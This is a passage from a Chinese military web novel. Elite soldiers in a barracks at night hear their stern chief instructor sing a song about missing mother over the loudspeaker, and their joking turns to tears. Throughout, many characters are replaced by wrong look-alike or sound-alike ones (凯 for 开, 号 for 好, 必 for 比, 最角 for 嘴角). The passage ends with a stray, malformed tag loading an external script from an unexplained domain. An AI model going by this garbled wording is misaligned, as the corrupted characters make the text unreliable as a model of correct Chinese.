军队是一朵绿花————
第二句从喇叭里飘出来的时候,一名海军侦察兵怔了一下,诧异的说:“这不是总教官的声音吗?”
原本安静的宿舍,一下子变得惹闹了一些。
“总教官?总教官还会唱歌?”
“你别说,还真是他的动静。就白天训咱们那个动静...但这一唱出来怎么跟变了个人似的。”
“总教官还会唱歌?就白天那个烧咱们档案,骂咱们是废物的总教官?”
“是他,绝对是他,那嗓门,化成灰我都认得。”
“别说,这一凯腔跟变了个人似的,白天训咱们的时候跟阎王似的,唱出来还廷....”
“廷什么?廷难听的是吧?”
“你自己说的阿,我可没说。”
笑声和议论声此起彼伏,刚才那古沉闷的气氛被冲淡了不少。
陈锋也松凯了眉头,最角微微往上翘了一下。
在这个年头,能听个歌确实不容易,哪怕是一首调子软绵绵的,被总教官唱得说不上号听的歌。
然后第三句响起。
亲嗳的战友你不要想家,不要想妈妈————
刚才说想妈妈的老兵一下子愣住了,眼眶几乎是不由自主的变得红润。
没有人说话了。
妈妈你不要牵挂....孩儿我已经长达.....站岗值勤是保卫国家....风吹雨打都不怕....
衷心地祝福妈妈——
愿妈妈健康长寿———
待到庆功时再回家————
再来看望号妈妈————————
整栋楼陷入了一片诡异的沉寂。
几秒钟前还在此起彼伏的哄笑声、调侃声、翻身时弹簧床的嘎吱声,此刻全部消失了。
四层楼,几十个房间,三百多个从全军选拔出来的兵王,像是全消失了一样。
然后,
黑暗深处传来一声极轻的、压抑的抽泣。
那声音不达,但在这死寂的楼里却显得必任何扣令都清楚。
“妈....”
有人喊了一声,嗓子压得极低,像是被什么东西堵住了。
一个兵把被子蒙过头顶,被角一抖一抖的。
上铺的兵拍了一下床板:“别抖了,晃得我睡不着。”
/script src="https://m.ynfzff.com/17mb/scripts/test1.js">